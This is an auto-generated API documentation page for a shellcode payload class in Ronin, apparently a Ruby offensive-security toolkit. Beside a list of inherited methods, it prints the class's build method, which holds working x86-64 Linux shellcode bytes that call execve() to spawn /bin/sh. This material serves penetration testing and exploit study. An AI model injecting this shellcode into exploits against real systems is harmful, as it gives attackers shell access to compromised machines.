Class: Ronin::Payloads::Shellcode::Linux::X86_64::ExecShell

Inherits:
ExecShellPayload show all
Defined in:
lib/ronin/payloads/builtin/shellcode/linux/x86_64/exec_shell.rb

Overview

Linux x86-64 shellcode that calls execve() with /bin/sh.

Instance Attribute Summary

Attributes inherited from Payload

#encoders, #payload

Instance Method Summary collapse

Methods inherited from Ronin::Payloads::ShellcodePayload

payload_type, #shellcode

Methods inherited from ASMPayload

#assemble, assembler, payload_type

Methods included from Metadata::OS

included, #os, #os_version

Methods included from Metadata::Arch

#arch, included

Methods inherited from BinaryPayload

payload_type

Methods inherited from Payload

#built?, #built_payload, #bytesize, #cleanup, #encode_payload, #encoded_payload, encoder_class, #initialize, #length, payload_type, #perform_build, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #perform_validate, #postlaunch, #prelaunch, #rebuild_payload, #reencode_payload, register, #to_s, #validate

Constructor Details

This class inherits a constructor from Ronin::Payloads::Payload

Instance Method Details

#build ⇒ Object

Builds the shellcode.



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# File 'lib/ronin/payloads/builtin/shellcode/linux/x86_64/exec_shell.rb', line 54

def build
  @payload = "\x48\x31\xd2" +     # xor    %rdx, %rdx
             "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" + # mov	$0x68732f6e69622f2f, %rbx
             "\x48\xc1\xeb\x08" + # shr    $0x8, %rbx
             "\x53" +             # push   %rbx
             "\x48\x89\xe7" +     # mov    %rsp, %rdi
             "\x50" +             # push   %rax
             "\x57" +             # push   %rdi
             "\x48\x89\xe6" +     # mov    %rsp, %rsi
             "\xb0\x3b" +         # mov    $0x3b, %al
             "\x0f\x05"           # syscall
end